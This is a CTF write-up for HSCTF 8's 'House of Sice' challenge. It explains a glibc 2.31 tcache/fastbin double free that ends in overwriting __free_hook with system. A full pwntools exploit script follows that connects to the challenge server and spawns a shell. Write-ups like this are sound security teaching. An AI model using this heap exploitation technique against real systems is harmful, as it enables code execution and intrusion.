Writeup For: House of Sice HSCTF 8
This problem boils down to being able to double free a fastbin-sized chunk in a limitted number of mallocs plus a single calloc, while also having to deal with the tcache double free check in libc-2.31. If it weren't for the limitted mallocs, one could fill the tcache bin, double free the fastbins, empty the tcache bin, and finish the double free on fastbins as normal. However, this would take 7 + 2 + 7 + 3 = 20 allocations. To get around this, we can instead to perform a double free by abusing the fact fast and tcache bins have different double free checks. First, fill the tcache bin and add and free a fastbin chunk. Next, add back a tcache bin and also place the fastbin chunk into tcache. It will not detect double free as the code for freeing tcache is executed first, then exits the free function immediately. Now, here's where the calloc comes into play. While tcache normally has allocation priority over fastbins, calloc cannot allocate tcache, allowing you to allocate a fastbin on the next allocation. You can then overwrite the pointer to where the next tcache bin is allocated, allowing you to add two more chunks to get an arbitrary allocation, so you can overwrite freehook with system and win. This take in a total number of allocations 7 + 1 + 1 + 3 = 12, which is well below the 16 limit.
from pwn import * #init e = ELF('./sice') libc = ELF('./libc-sice.so') #p = process(e.path) p = remote('house-of-sice.hsc.tf', 1337) #funcs def add(x, y = 0): p.sendlineafter('>', '1') p.sendlineafter('>', str(x)) p.sendlineafter('>', str(y)) def fre(x): p.sendlineafter('>', '2') p.sendlineafter('>', str(x)) #vars freehook_off = libc.sym['__free_hook'] system_off = libc.sym['system'] log.info('Freehook libc off: ' + hex(freehook_off)) log.info('System libc off: ' + hex(system_off)) #exploit #get given libc p.recvuntil('deet: ') libc_off = int(p.recvline(keepends = False), 16) - system_off log.info('Libc off adr: ' + hex(libc_off)) #fill up tcache and add bin to to fastbin list for i in range(8): add(1) for i in reversed(range(8)): fre(i) #now remove one bin from tcache and add the fastbin into tcache too add(1) fre(0) #now you can overwrite pointer with calloc from fastbin list to point tcache to overwrite freehook add(2, libc_off + freehook_off) add(1, u64(b'/bin/sh\x00')) #overwrite freehook with system add(1, libc_off + system_off) #call system('/bin/sh') fre(0) #pray for flag p.interactive()